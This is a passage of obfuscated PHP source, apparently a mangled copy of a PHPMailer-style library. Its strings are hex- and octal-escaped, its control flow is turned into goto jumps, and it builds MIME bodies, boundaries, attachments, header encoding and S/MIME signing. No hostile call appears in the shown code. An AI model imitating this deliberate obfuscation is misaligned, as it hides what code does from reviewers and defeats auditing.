            case "\x61\x6c\x74\137\x69\156\x6c\x69\x6e\145\x5f\x61\164\164\141\143\150":
                $HYIC3 .= $this->headerLine("\x43\x6f\156\x74\145\156\x74\x2d\124\x79\x70\145", static::CONTENT_TYPE_MULTIPART_MIXED . "\x3b");
                $HYIC3 .= $this->textLine("\x9\142\157\165\156\x64\x61\x72\x79\75\42" . $this->boundary[1] . "\x22");
                goto a9i8C;
            case "\141\x6c\x74":
            case "\141\x6c\164\x5f\x69\x6e\x6c\x69\x6e\x65":
                $HYIC3 .= $this->headerLine("\103\x6f\x6e\x74\x65\x6e\x74\x2d\124\171\160\x65", static::CONTENT_TYPE_MULTIPART_ALTERNATIVE . "\x3b");
                $HYIC3 .= $this->textLine("\x9\142\157\x75\156\144\x61\x72\171\x3d\42" . $this->boundary[1] . "\x22");
                goto a9i8C;
            default:
                $HYIC3 .= $this->textLine("\103\157\156\x74\x65\156\x74\x2d\x54\x79\x70\x65\x3a\40" . $this->ContentType . "\73\x20\143\x68\x61\x72\x73\145\x74\x3d" . $this->CharSet);
                $A1PuC = false;
                goto a9i8C;
        }
        xd4Du:
        a9i8C:
        if (!(static::ENCODING_7BIT != $this->Encoding)) {
            goto L3nfi;
        }
        if ($A1PuC) {
            goto dY47P;
        }
        $HYIC3 .= $this->headerLine("\103\157\156\164\x65\x6e\x74\55\124\162\141\x6e\x73\146\x65\162\55\105\156\143\x6f\144\151\x6e\147", $this->Encoding);
        goto eLbUf;
        dY47P:
        if (!(static::ENCODING_8BIT == $this->Encoding)) {
            goto uKVyx;
        }
        $HYIC3 .= $this->headerLine("\x43\x6f\x6e\x74\x65\x6e\x74\55\124\x72\141\x6e\x73\146\x65\162\x2d\105\156\143\157\144\x69\x6e\147", static::ENCODING_8BIT);
        uKVyx:
        eLbUf:
        L3nfi:
        if (!("\155\141\x69\154" != $this->Mailer)) {
            goto DhuAc;
        }
        $HYIC3 .= static::$LE;
        DhuAc:
        return $HYIC3;
    }
    public function getSentMIMEMessage()
    {
        return rtrim($this->MIMEHeader . $this->mailHeader, "\12\15") . static::$LE . static::$LE . $this->MIMEBody;
    }
    protected function generateId()
    {
        $XtdVD = 32;
        if (function_exists("\162\x61\x6e\144\157\x6d\x5f\142\171\x74\145\163")) {
            goto DHC32;
        }
        if (function_exists("\157\160\145\x6e\163\x73\x6c\x5f\162\x61\156\144\157\155\x5f\160\163\145\165\x64\x6f\137\x62\171\164\145\x73")) {
            goto U6ZWp;
        }
        $yaDF_ = hash("\x73\x68\141\x32\x35\x36", uniqid((string) mt_rand(), true), true);
        goto qO6Qa;
        DHC32:
        $yaDF_ = random_bytes($XtdVD);
        goto qO6Qa;
        U6ZWp:
        $yaDF_ = openssl_random_pseudo_bytes($XtdVD);
        qO6Qa:
        return str_replace(["\x3d", "\53", "\57"], '', base64_encode(hash("\x73\150\141\62\65\66", $yaDF_, true)));
    }
    public function createBody()
    {
        $UlmlF = '';
        $this->uniqueid = $this->generateId();
        $this->boundary[1] = "\x62\x31\x5f" . $this->uniqueid;
        $this->boundary[2] = "\x62\62\137" . $this->uniqueid;
        $this->boundary[3] = "\x62\x33\137" . $this->uniqueid;
        if (!$this->sign_key_file) {
            goto hqkge;
        }
        $UlmlF .= $this->getMailMIME() . static::$LE;
        hqkge:
        $this->setWordWrap();
        $iNpJe = $this->Encoding;
        $zAEu5 = $this->CharSet;
        if (!(static::ENCODING_8BIT == $iNpJe and !$this->has8bitChars($this->Body))) {
            goto j7mmA;
        }
        $iNpJe = static::ENCODING_7BIT;
        $zAEu5 = "\x75\x73\55\x61\x73\143\151\151";
        j7mmA:
        if (!(static::ENCODING_BASE64 != $this->Encoding and static::hasLineLongerThanMax($this->Body))) {
            goto xNZiP;
        }
        $iNpJe = static::ENCODING_QUOTED_PRINTABLE;
        xNZiP:
        $dB0CE = $this->Encoding;
        $KPgOX = $this->CharSet;
        if (!(static::ENCODING_8BIT == $dB0CE and !$this->has8bitChars($this->AltBody))) {
            goto oZ2Gn;
        }
        $dB0CE = static::ENCODING_7BIT;
        $KPgOX = "\x75\x73\x2d\x61\163\x63\151\151";
        oZ2Gn:
        if (!(static::ENCODING_BASE64 != $dB0CE and static::hasLineLongerThanMax($this->AltBody))) {
            goto iGpi_;
        }
        $dB0CE = static::ENCODING_QUOTED_PRINTABLE;
        iGpi_:
        $x0NDr = "\124\x68\x69\163\x20\x69\163\40\x61\40\155\x75\154\164\x69\x2d\160\141\162\164\40\155\x65\163\x73\141\147\x65\40\151\156\x20\x4d\x49\115\x45\x20\x66\157\x72\155\x61\164\56" . static::$LE;
        switch ($this->message_type) {
            case "\151\x6e\x6c\151\x6e\x65":
                $UlmlF .= $x0NDr;
                $UlmlF .= $this->getBoundary($this->boundary[1], $zAEu5, '', $iNpJe);
                $UlmlF .= $this->encodeString($this->Body, $iNpJe);
                $UlmlF .= static::$LE;
                $UlmlF .= $this->attachAll("\151\156\x6c\151\156\x65", $this->boundary[1]);
                goto VweLU;
            case "\x61\164\164\141\143\150":
                $UlmlF .= $x0NDr;
                $UlmlF .= $this->getBoundary($this->boundary[1], $zAEu5, '', $iNpJe);
                $UlmlF .= $this->encodeString($this->Body, $iNpJe);
                $UlmlF .= static::$LE;
                $UlmlF .= $this->attachAll("\x61\x74\x74\141\143\x68\155\145\x6e\x74", $this->boundary[1]);
                goto VweLU;
            case "\151\156\154\x69\x6e\145\x5f\141\164\164\x61\x63\x68":
                $UlmlF .= $x0NDr;
                $UlmlF .= $this->textLine("\55\55" . $this->boundary[1]);
                $UlmlF .= $this->headerLine("\x43\x6f\156\x74\145\x6e\x74\x2d\124\171\x70\145", static::CONTENT_TYPE_MULTIPART_RELATED . "\x3b");
                $UlmlF .= $this->textLine("\11\142\x6f\165\x6e\x64\141\x72\171\75\x22" . $this->boundary[2] . "\x22");
                $UlmlF .= static::$LE;
                $UlmlF .= $this->getBoundary($this->boundary[2], $zAEu5, '', $iNpJe);
                $UlmlF .= $this->encodeString($this->Body, $iNpJe);
                $UlmlF .= static::$LE;
                $UlmlF .= $this->attachAll("\x69\x6e\154\151\x6e\x65", $this->boundary[2]);
                $UlmlF .= static::$LE;
                $UlmlF .= $this->attachAll("\x61\164\x74\x61\143\150\155\x65\x6e\164", $this->boundary[1]);
                goto VweLU;
            case "\141\x6c\164":
                $UlmlF .= $x0NDr;
                $UlmlF .= $this->getBoundary($this->boundary[1], $KPgOX, static::CONTENT_TYPE_PLAINTEXT, $dB0CE);
                $UlmlF .= $this->encodeString($this->AltBody, $dB0CE);
                $UlmlF .= static::$LE;
                $UlmlF .= $this->getBoundary($this->boundary[1], $zAEu5, static::CONTENT_TYPE_TEXT_HTML, $iNpJe);
                $UlmlF .= $this->encodeString($this->Body, $iNpJe);
                $UlmlF .= static::$LE;
                if (empty($this->Ical)) {
                    goto b1a_m;
                }
                $UlmlF .= $this->getBoundary($this->boundary[1], '', static::CONTENT_TYPE_TEXT_CALENDAR . "\73\x20\x6d\145\x74\150\x6f\x64\75\122\x45\x51\x55\x45\x53\124", '');
                $UlmlF .= $this->encodeString($this->Ical, $this->Encoding);
                $UlmlF .= static::$LE;
                b1a_m:
                $UlmlF .= $this->endBoundary($this->boundary[1]);
                goto VweLU;
            case "\141\154\164\x5f\x69\x6e\154\x69\156\x65":
                $UlmlF .= $x0NDr;
                $UlmlF .= $this->getBoundary($this->boundary[1], $KPgOX, static::CONTENT_TYPE_PLAINTEXT, $dB0CE);
                $UlmlF .= $this->encodeString($this->AltBody, $dB0CE);
                $UlmlF .= static::$LE;
                $UlmlF .= $this->textLine("\x2d\x2d" . $this->boundary[1]);
                $UlmlF .= $this->headerLine("\x43\x6f\156\x74\x65\156\x74\x2d\124\x79\160\145", static::CONTENT_TYPE_MULTIPART_RELATED . "\x3b");
                $UlmlF .= $this->textLine("\11\142\x6f\165\x6e\144\x61\x72\171\x3d\42" . $this->boundary[2] . "\42");
                $UlmlF .= static::$LE;
                $UlmlF .= $this->getBoundary($this->boundary[2], $zAEu5, static::CONTENT_TYPE_TEXT_HTML, $iNpJe);
                $UlmlF .= $this->encodeString($this->Body, $iNpJe);
                $UlmlF .= static::$LE;
                $UlmlF .= $this->attachAll("\151\x6e\x6c\x69\156\x65", $this->boundary[2]);
                $UlmlF .= static::$LE;
                $UlmlF .= $this->endBoundary($this->boundary[1]);
                goto VweLU;
            case "\141\x6c\164\x5f\141\x74\164\x61\143\150":
                $UlmlF .= $x0NDr;
                $UlmlF .= $this->textLine("\55\x2d" . $this->boundary[1]);
                $UlmlF .= $this->headerLine("\x43\x6f\x6e\164\145\x6e\x74\x2d\x54\x79\x70\x65", static::CONTENT_TYPE_MULTIPART_ALTERNATIVE . "\73");
                $UlmlF .= $this->textLine("\11\142\x6f\x75\x6e\144\141\x72\171\75\42" . $this->boundary[2] . "\x22");
                $UlmlF .= static::$LE;
                $UlmlF .= $this->getBoundary($this->boundary[2], $KPgOX, static::CONTENT_TYPE_PLAINTEXT, $dB0CE);
                $UlmlF .= $this->encodeString($this->AltBody, $dB0CE);
                $UlmlF .= static::$LE;
                $UlmlF .= $this->getBoundary($this->boundary[2], $zAEu5, static::CONTENT_TYPE_TEXT_HTML, $iNpJe);
                $UlmlF .= $this->encodeString($this->Body, $iNpJe);
                $UlmlF .= static::$LE;
                if (empty($this->Ical)) {
                    goto C_4cX;
                }
                $UlmlF .= $this->getBoundary($this->boundary[2], '', static::CONTENT_TYPE_TEXT_CALENDAR . "\73\40\155\145\164\150\x6f\144\x3d\x52\x45\x51\125\105\123\x54", '');
                $UlmlF .= $this->encodeString($this->Ical, $this->Encoding);
                C_4cX:
                $UlmlF .= $this->endBoundary($this->boundary[2]);
                $UlmlF .= static::$LE;
                $UlmlF .= $this->attachAll("\141\x74\164\141\x63\x68\x6d\x65\x6e\x74", $this->boundary[1]);
                goto VweLU;
            case "\141\154\164\x5f\151\156\x6c\x69\x6e\145\x5f\x61\x74\164\141\x63\150":
                $UlmlF .= $x0NDr;
                $UlmlF .= $this->textLine("\55\x2d" . $this->boundary[1]);
                $UlmlF .= $this->headerLine("\x43\x6f\156\164\x65\x6e\x74\55\124\x79\x70\145", static::CONTENT_TYPE_MULTIPART_ALTERNATIVE . "\x3b");
                $UlmlF .= $this->textLine("\x9\142\157\x75\x6e\144\x61\162\171\75\x22" . $this->boundary[2] . "\42");
                $UlmlF .= static::$LE;
                $UlmlF .= $this->getBoundary($this->boundary[2], $KPgOX, static::CONTENT_TYPE_PLAINTEXT, $dB0CE);
                $UlmlF .= $this->encodeString($this->AltBody, $dB0CE);
                $UlmlF .= static::$LE;
                $UlmlF .= $this->textLine("\55\x2d" . $this->boundary[2]);
                $UlmlF .= $this->headerLine("\103\157\x6e\x74\x65\x6e\164\55\x54\x79\160\145", static::CONTENT_TYPE_MULTIPART_RELATED . "\x3b");
                $UlmlF .= $this->textLine("\11\x62\157\165\x6e\144\141\x72\171\75\x22" . $this->boundary[3] . "\x22");
                $UlmlF .= static::$LE;
                $UlmlF .= $this->getBoundary($this->boundary[3], $zAEu5, static::CONTENT_TYPE_TEXT_HTML, $iNpJe);
                $UlmlF .= $this->encodeString($this->Body, $iNpJe);
                $UlmlF .= static::$LE;
                $UlmlF .= $this->attachAll("\151\x6e\154\151\156\145", $this->boundary[3]);
                $UlmlF .= static::$LE;
                $UlmlF .= $this->endBoundary($this->boundary[2]);
                $UlmlF .= static::$LE;
                $UlmlF .= $this->attachAll("\x61\164\x74\x61\x63\x68\155\x65\156\164", $this->boundary[1]);
                goto VweLU;
            default:
                $this->Encoding = $iNpJe;
                $UlmlF .= $this->encodeString($this->Body, $this->Encoding);
                goto VweLU;
        }
        la31j:
        VweLU:
        if ($this->isError()) {
            goto CA9Hi;
        }
        if ($this->sign_key_file) {
            goto wfcJW;
        }
        goto yevxh;
        CA9Hi:
        $UlmlF = '';
        if (!$this->exceptions) {
            goto j57n1;
        }
        throw new Exception($this->lang("\145\x6d\x70\164\x79\x5f\x6d\145\163\x73\x61\147\x65"), self::STOP_CRITICAL);
        j57n1:
        goto yevxh;
        wfcJW:
        try {
            if (defined("\120\113\x43\123\x37\137\124\105\x58\x54")) {
                goto wwFiY;
            }
            throw new Exception($this->lang("\145\x78\164\145\156\163\x69\x6f\x6e\137\155\x69\163\163\151\x6e\x67") . "\x6f\x70\x65\x6e\163\x73\154");
            wwFiY:
            $vn08u = fopen("\x70\x68\x70\72\57\57\164\145\x6d\x70", "\x72\142\53");
            $ty0iw = fopen("\x70\150\x70\x3a\x2f\57\x74\145\155\x70", "\162\142\53");
            fwrite($vn08u, $UlmlF);
            if (empty($this->sign_extracerts_file)) {
                goto x21AA;
            }
            $DiqXR = @openssl_pkcs7_sign($vn08u, $ty0iw, "\146\x69\154\145\x3a\x2f\57" . realpath($this->sign_cert_file), ["\x66\x69\154\x65\72\x2f\57" . realpath($this->sign_key_file), $this->sign_key_pass], [], PKCS7_DETACHED, $this->sign_extracerts_file);
            goto rU9Km;
            x21AA:
            $DiqXR = @openssl_pkcs7_sign($vn08u, $ty0iw, "\x66\x69\x6c\145\x3a\57\x2f" . realpath($this->sign_cert_file), ["\146\151\154\x65\x3a\57\x2f" . realpath($this->sign_key_file), $this->sign_key_pass], []);
            rU9Km:
            fclose($vn08u);
            if ($DiqXR) {
                goto JgnAB;
            }
            fclose($ty0iw);
            throw new Exception($this->lang("\x73\x69\147\x6e\151\x6e\147") . openssl_error_string());
            goto OzdyM;
            JgnAB:
            $UlmlF = file_get_contents($ty0iw);
            fclose($ty0iw);
            $EQ5MH = explode("\xa\12", $UlmlF, 2);
            $this->MIMEHeader .= $EQ5MH[0] . static::$LE . static::$LE;
            $UlmlF = $EQ5MH[1];
            OzdyM:
        } catch (Exception $CsLop) {
            $UlmlF = '';
            if (!$this->exceptions) {
                goto l9plm;
            }
            throw $CsLop;
            l9plm:
        }
        yevxh:
        return $UlmlF;
    }
    protected function getBoundary($DCyE_, $jf2sH, $PBZc0, $CTuvx)
    {
        $HYIC3 = '';
        if (!('' == $jf2sH)) {
            goto TXmYT;
        }
        $jf2sH = $this->CharSet;
        TXmYT:
        if (!('' == $PBZc0)) {
            goto EwHxT;
        }
        $PBZc0 = $this->ContentType;
        EwHxT:
        if (!('' == $CTuvx)) {
            goto SNlv2;
        }
        $CTuvx = $this->Encoding;
        SNlv2:
        $HYIC3 .= $this->textLine("\x2d\55" . $DCyE_);
        $HYIC3 .= sprintf("\x43\157\x6e\164\x65\x6e\164\x2d\x54\171\x70\145\x3a\x20\45\x73\73\x20\143\x68\141\162\x73\x65\164\75\x25\x73", $PBZc0, $jf2sH);
        $HYIC3 .= static::$LE;
        if (!(static::ENCODING_7BIT != $CTuvx)) {
            goto IEzud;
        }
        $HYIC3 .= $this->headerLine("\x43\x6f\x6e\164\x65\x6e\x74\55\x54\162\x61\156\x73\x66\145\162\55\105\156\x63\x6f\x64\x69\156\x67", $CTuvx);
        IEzud:
        $HYIC3 .= static::$LE;
        return $HYIC3;
    }
    protected function endBoundary($DCyE_)
    {
        return static::$LE . "\55\55" . $DCyE_ . "\x2d\x2d" . static::$LE;
    }
    protected function setMessageType()
    {
        $W7B1j = [];
        if (!$this->alternativeExists()) {
            goto na_Ur;
        }
        $W7B1j[] = "\141\x6c\164";
        na_Ur:
        if (!$this->inlineImageExists()) {
            goto viPSD;
        }
        $W7B1j[] = "\x69\156\154\151\x6e\x65";
        viPSD:
        if (!$this->attachmentExists()) {
            goto FyAZ9;
        }
        $W7B1j[] = "\141\x74\164\x61\143\150";
        FyAZ9:
        $this->message_type = implode("\x5f", $W7B1j);
        if (!('' == $this->message_type)) {
            goto vVev4;
        }
        $this->message_type = "\x70\x6c\x61\151\x6e";
        vVev4:
    }
    public function headerLine($dEC3m, $GywUj)
    {
        return $dEC3m . "\x3a\x20" . $GywUj . static::$LE;
    }
    public function textLine($GywUj)
    {
        return $GywUj . static::$LE;
    }
    public function addAttachment($t1usk, $dEC3m = '', $CTuvx = self::ENCODING_BASE64, $W7B1j = '', $wOvSy = "\141\164\x74\141\143\x68\155\x65\x6e\x74")
    {
        try {
            if (!(!static::isPermittedPath($t1usk) || !@is_file($t1usk))) {
                goto IsjtG;
            }
            throw new Exception($this->lang("\x66\x69\154\145\137\x61\143\x63\x65\x73\x73") . $t1usk, self::STOP_CONTINUE);
            IsjtG:
            if (!('' == $W7B1j)) {
                goto chvMA;
            }
            $W7B1j = static::filenameToType($t1usk);
            chvMA:
            $FFm9e = basename($t1usk);
            if (!('' == $dEC3m)) {
                goto Q0eP_;
            }
            $dEC3m = $FFm9e;
            Q0eP_:
            $this->attachment[] = [0 => $t1usk, 1 => $FFm9e, 2 => $dEC3m, 3 => $CTuvx, 4 => $W7B1j, 5 => false, 6 => $wOvSy, 7 => $dEC3m];
        } catch (Exception $CsLop) {
            $this->setError($CsLop->getMessage());
            $this->edebug($CsLop->getMessage());
            if (!$this->exceptions) {
                goto XdDql;
            }
            throw $CsLop;
            XdDql:
            return false;
        }
        return true;
    }
    public function getAttachments()
    {
        return $this->attachment;
    }
    protected function attachAll($zvcbf, $DCyE_)
    {
        $x0bAU = [];
        $ZqXFB = [];
        $JqU5f = [];
        foreach ($this->attachment as $XGAfM) {
            if (!($XGAfM[6] == $zvcbf)) {
                goto Ywv_1;
            }
            $jm30w = '';
            $t1usk = '';
            $iS2Yi = $XGAfM[5];
            if ($iS2Yi) {
                goto D2o0L;
            }
            $t1usk = $XGAfM[0];
            goto P0kXi;
            D2o0L:
            $jm30w = $XGAfM[0];
            P0kXi:
            $vXmoj = hash("\x73\150\141\62\x35\66", serialize($XGAfM));
            if (!in_array($vXmoj, $JqU5f)) {
                goto soGdQ;
            }
            goto v5t7l;
            soGdQ:
            $JqU5f[] = $vXmoj;
            $dEC3m = $XGAfM[2];
            $CTuvx = $XGAfM[3];
            $W7B1j = $XGAfM[4];
            $wOvSy = $XGAfM[6];
            $qsaom = $XGAfM[7];
            if (!("\151\x6e\154\151\156\145" == $wOvSy and array_key_exists($qsaom, $ZqXFB))) {
                goto J2yWg;
            }
            goto v5t7l;
            J2yWg:
            $ZqXFB[$qsaom] = true;
            $x0bAU[] = sprintf("\55\x2d\45\x73\x25\163", $DCyE_, static::$LE);
            if (!empty($dEC3m)) {
                goto oUzVn;
            }
            $x0bAU[] = sprintf("\x43\x6f\x6e\x74\x65\x6e\164\x2d\x54\x79\x70\x65\x3a\x20\45\x73\45\163", $W7B1j, static::$LE);
            goto JVVtn;
            oUzVn:
            $x0bAU[] = sprintf("\103\157\156\164\x65\x6e\x74\55\124\x79\x70\x65\72\40\45\x73\x3b\40\x6e\141\155\145\75\42\x25\x73\x22\x25\x73", $W7B1j, $this->encodeHeader($this->secureHeader($dEC3m)), static::$LE);
            JVVtn:
            if (!(static::ENCODING_7BIT != $CTuvx)) {
                goto oo4wW;
            }
            $x0bAU[] = sprintf("\x43\x6f\156\x74\145\156\164\x2d\124\162\141\156\x73\x66\145\162\x2d\105\156\x63\x6f\144\x69\x6e\x67\x3a\x20\x25\x73\45\x73", $CTuvx, static::$LE);
            oo4wW:
            if (empty($qsaom)) {
                goto oYrr0;
            }
            $x0bAU[] = sprintf("\103\157\156\164\x65\156\x74\x2d\111\104\x3a\x20\74\x25\163\76\x25\163", $qsaom, static::$LE);
            oYrr0:
            if (!empty($wOvSy)) {
                goto zS7Wc;
            }
            $x0bAU[] = static::$LE;
            goto zRuBG;
            zS7Wc:
            $hL22e = $this->encodeHeader($this->secureHeader($dEC3m));
            if (preg_match("\57\133\40\x5c\50\134\51\74\76\100\x2c\73\72\134\42\134\57\134\x5b\134\x5d\x5c\x3f\x3d\135\57", $hL22e)) {
                goto eNcYm;
            }
            if (!empty($hL22e)) {
                goto mMXe1;
            }
            $x0bAU[] = sprintf("\x43\157\156\164\145\x6e\164\x2d\x44\151\x73\160\x6f\x73\x69\x74\151\x6f\156\x3a\40\x25\x73\45\x73", $wOvSy, static::$LE . static::$LE);
            goto Ls9dA;
            mMXe1:
            $x0bAU[] = sprintf("\x43\157\x6e\164\145\x6e\164\55\104\x69\163\x70\157\x73\x69\164\x69\157\156\72\x20\45\163\x3b\40\146\x69\x6c\x65\156\141\155\145\x3d\45\x73\45\x73", $wOvSy, $hL22e, static::$LE . static::$LE);
            Ls9dA:
            goto rE0Vo;
            eNcYm:
            $x0bAU[] = sprintf("\103\x6f\156\164\145\156\x74\55\104\x69\x73\160\x6f\x73\151\164\x69\157\156\x3a\40\45\163\x3b\x20\x66\x69\x6c\x65\x6e\x61\x6d\x65\75\x22\x25\x73\x22\45\163", $wOvSy, $hL22e, static::$LE . static::$LE);
            rE0Vo:
            zRuBG:
            if ($iS2Yi) {
                goto j3pk_;
            }
            $x0bAU[] = $this->encodeFile($t1usk, $CTuvx);
            goto wrvHd;
            j3pk_:
            $x0bAU[] = $this->encodeString($jm30w, $CTuvx);
            wrvHd:
            if (!$this->isError()) {
                goto HvO_Q;
            }
            return '';
            HvO_Q:
            $x0bAU[] = static::$LE;
            Ywv_1:
            v5t7l:
        }
        OSMC_:
        $x0bAU[] = sprintf("\55\55\x25\163\x2d\55\45\163", $DCyE_, static::$LE);
        return implode('', $x0bAU);
    }
    protected function encodeFile($t1usk, $CTuvx = self::ENCODING_BASE64)
    {
        try {
            if (!(!static::isPermittedPath($t1usk) || !file_exists($t1usk))) {
                goto iGX3W;
            }
            throw new Exception($this->lang("\146\151\x6c\145\137\x6f\x70\145\156") . $t1usk, self::STOP_CONTINUE);
            iGX3W:
            $P60uD = file_get_contents($t1usk);
            if (!(false === $P60uD)) {
                goto a15P1;
            }
            throw new Exception($this->lang("\x66\151\x6c\145\137\157\x70\x65\156") . $t1usk, self::STOP_CONTINUE);
            a15P1:
            $P60uD = $this->encodeString($P60uD, $CTuvx);
            return $P60uD;
        } catch (Exception $CsLop) {
            $this->setError($CsLop->getMessage());
            return '';
        }
    }
    public function encodeString($YX4WE, $CTuvx = self::ENCODING_BASE64)
    {
        $KtgKe = '';
        switch (strtolower($CTuvx)) {
            case static::ENCODING_BASE64:
                $KtgKe = chunk_split(base64_encode($YX4WE), static::STD_LINE_LENGTH, static::$LE);
                goto M8sUw;
            case static::ENCODING_7BIT:
            case static::ENCODING_8BIT:
                $KtgKe = static::normalizeBreaks($YX4WE);
                if (!(substr($KtgKe, -strlen(static::$LE)) != static::$LE)) {
                    goto fuHT5;
                }
                $KtgKe .= static::$LE;
                fuHT5:
                goto M8sUw;
            case static::ENCODING_BINARY:
                $KtgKe = $YX4WE;
                goto M8sUw;
            case static::ENCODING_QUOTED_PRINTABLE:
                $KtgKe = $this->encodeQP($YX4WE);
                goto M8sUw;
            default:
                $this->setError($this->lang("\x65\x6e\x63\x6f\x64\151\x6e\147") . $CTuvx);
                goto M8sUw;
        }
        LH3Gf:
        M8sUw:
        return $KtgKe;
    }
    public function encodeHeader($YX4WE, $toYvh = "\164\145\170\x74")
    {
        $FcxOg = 0;
        switch (strtolower($toYvh)) {
            case "\x70\150\x72\x61\163\x65":
                if (preg_match("\57\x5b\134\x32\60\x30\55\x5c\x33\67\x37\135\x2f", $YX4WE)) {
                    goto YmQ_6;
                }
                $KtgKe = addcslashes($YX4WE, "\0\56\x2e\37\177\134\x22");
                if (!($YX4WE == $KtgKe and !preg_match("\x2f\133\x5e\x41\55\132\141\x2d\x7a\60\55\x39\41\43\44\45\46\x27\x2a\x2b\x5c\x2f\x3d\x3f\x5e\137\x60\173\174\x7d\x7e\40\55\x5d\57", $YX4WE))) {
                    goto dzEzo;
                }
                return $KtgKe;
                dzEzo:
                return "\42{$KtgKe}\x22";
                YmQ_6:
                $FcxOg = preg_match_all("\57\x5b\136\134\x30\64\x30\x5c\x30\64\61\x5c\60\x34\x33\x2d\134\61\x33\x33\x5c\x31\63\65\55\x5c\61\67\66\x5d\x2f", $YX4WE, $I3B9w);
                goto rcbvt;
            case "\x63\x6f\x6d\155\x65\x6e\164":
                $FcxOg = preg_match_all("\57\x5b\50\x29\42\x5d\57", $YX4WE, $I3B9w);
            case "\164\x65\x78\x74":
            default:
                $FcxOg += preg_match_all("\57\x5b\x5c\x30\x30\x30\x2d\x5c\x30\61\x30\134\60\x31\63\x5c\x30\61\64\134\x30\x31\66\x2d\x5c\x30\x33\x37\x5c\61\x37\x37\55\134\63\x37\x37\x5d\57", $YX4WE, $I3B9w);
                goto rcbvt;
        }
        TFGkl:
        rcbvt:
        $CNWiI = "\x6d\x61\151\x6c" == $this->Mailer ? 13 : 0;
        $toj7M = static::STD_LINE_LENGTH - $CNWiI;
        if ($FcxOg > strlen($YX4WE) / 3) {
            goto XcgG8;
        }
        if ($FcxOg > 0) {
            goto SKXjy;
        }
        if (strlen($YX4WE) > $toj7M) {
            goto nTpgc;
        }
        return $YX4WE;
        goto lYL24;
        XcgG8:
        $CTuvx = "\102";
        $toj7M = static::STD_LINE_LENGTH - $CNWiI - 8 - strlen($this->CharSet);
        if ($this->hasMultiBytes($YX4WE)) {
            goto BR5Wa;
        }
        $KtgKe = base64_encode($YX4WE);
        $toj7M -= $toj7M % 4;
        $KtgKe = trim(chunk_split($KtgKe, $toj7M, "\12"));
        goto nXrvs;
        BR5Wa:
        $KtgKe = $this->base64EncodeWrapMB($YX4WE, "\12");
        nXrvs:
        $KtgKe = preg_replace("\x2f\x5e\x28\x2e\x2a\x29\x24\57\155", "\40\x3d\x3f" . $this->CharSet . "\77{$CTuvx}\x3f\x5c\x31\77\x3d", $KtgKe);
        goto lYL24;
        SKXjy:
        $CTuvx = "\x51";
        $toj7M = static::STD_LINE_LENGTH - $CNWiI - 8 - strlen($this->CharSet);
        $KtgKe = $this->encodeQ($YX4WE, $toYvh);
        $KtgKe = $this->wrapText($KtgKe, $toj7M, true);
        $KtgKe = str_replace("\75" . static::$LE, "\xa", trim($KtgKe));
        $KtgKe = preg_replace("\57\136\x28\x2e\52\x29\44\57\x6d", "\40\x3d\x3f" . $this->CharSet . "\77{$CTuvx}\x3f\134\61\x3f\75", $KtgKe);
        goto lYL24;
        nTpgc:
        $KtgKe = trim($this->wrapText($YX4WE, $toj7M, false));
        if (!($YX4WE == $KtgKe)) {
            goto IypyJ;
        }
        $KtgKe = trim(chunk_split($YX4WE, static::STD_LINE_LENGTH, static::$LE));
        IypyJ:
        $KtgKe = str_replace(static::$LE, "\12", trim($KtgKe));
        $KtgKe = preg_replace("\57\136\x28\x2e\x2a\51\x24\x2f\x6d", "\40\x5c\61", $KtgKe);
        lYL24:
        return trim(static::normalizeBreaks($KtgKe));
    }
    public function hasMultiBytes($YX4WE)
    {
        if (!function_exists("\x6d\x62\x5f\163\x74\162\154\145\x6e")) {
            goto o054B;
        }
        return strlen($YX4WE) > mb_strlen($YX4WE, $this->CharSet);
        o054B:
        return false;
    }
    public function has8bitChars($izkEo)
    {
        return (bool) preg_match("\x2f\133\x5c\x78\70\60\x2d\x5c\170\x46\x46\x5d\57", $izkEo);
    }
    public function base64EncodeWrapMB($YX4WE, $DQcZH = null)
    {
        $bFUGm = "\75\77" . $this->CharSet . "\x3f\102\x3f";
        $Z8gKi = "\x3f\x3d";
        $KtgKe = '';
        if (!(null === $DQcZH)) {
            goto Vau9e;
        }
        $DQcZH = static::$LE;
        Vau9e:
        $bFy1z = mb_strlen($YX4WE, $this->CharSet);
        $Z6HTu = 75 - strlen($bFUGm) - strlen($Z8gKi);
        $Gh5p0 = $bFy1z / strlen($YX4WE);
        $vQ6V_ = floor($Z6HTu * $Gh5p0 * 0.75);
        $KJHmb = 0;
        sJMqb:
        if (!($KJHmb < $bFy1z)) {
            goto JwKVM;
        }
        $NPMHP = 0;
        EGi6I:
        $ynVzc = $vQ6V_ - $NPMHP;
        $d_gCi = mb_substr($YX4WE, $KJHmb, $ynVzc, $this->CharSet);
        $d_gCi = base64_encode($d_gCi);
        ++$NPMHP;
        if (strlen($d_gCi) > $Z6HTu) {
            goto EGi6I;
        }
        uAtIF:
        $KtgKe .= $d_gCi . $DQcZH;
        t28Pn:
        $KJHmb += $ynVzc;
        goto sJMqb;
        JwKVM:
        return substr($KtgKe, 0, -strlen($DQcZH));
    }
    public function encodeQP($jm30w)
    {
        return static::normalizeBreaks(quoted_printable_encode($jm30w));
    }
    public function encodeQ($YX4WE, $toYvh = "\x74\x65\170\164")
    {
        $zf42W = '';
        $KtgKe = str_replace(["\15", "\12"], '', $YX4WE);
        switch (strtolower($toYvh)) {
            case "\160\x68\162\141\x73\145":
                $zf42W = "\x5e\101\55\132\x61\x2d\x7a\x30\55\x39\41\52\x2b\x5c\57\x20\55";
                goto n0Ef0;
            case "\143\x6f\155\x6d\x65\x6e\x74":
                $zf42W = "\134\x28\x5c\51\42";
            case "\164\x65\170\164":
            default:
                $zf42W = "\x5c\x30\60\60\x2d\134\60\x31\61\x5c\x30\61\x33\134\x30\61\x34\134\60\x31\66\x2d\x5c\60\x33\x37\x5c\x30\67\x35\x5c\x30\x37\x37\134\61\x33\x37\x5c\61\x37\67\55\x5c\x33\67\x37" . $zf42W;
                goto n0Ef0;
        }
        Hi636:
        n0Ef0:
        $I3B9w = [];
        if (!preg_match_all("\x2f\x5b{$zf42W}\135\57", $KtgKe, $I3B9w)) {
            goto s6xON;
        }
        $n2U4c = array_search("\x3d", $I3B9w[0]);
        if (!(false !== $n2U4c)) {
            goto kVYmJ;
        }
        unset($I3B9w[0][$n2U4c]);
        array_unshift($I3B9w[0], "\x3d");
        kVYmJ:
        foreach (array_unique($I3B9w[0]) as $E1cUa) {
            $KtgKe = str_replace($E1cUa, "\x3d" . sprintf("\x25\60\x32\130", ord($E1cUa)), $KtgKe);
            hru8R:
        }
        RUs4v:
        s6xON:
        return str_replace("\x20", "\137", $KtgKe);
    }
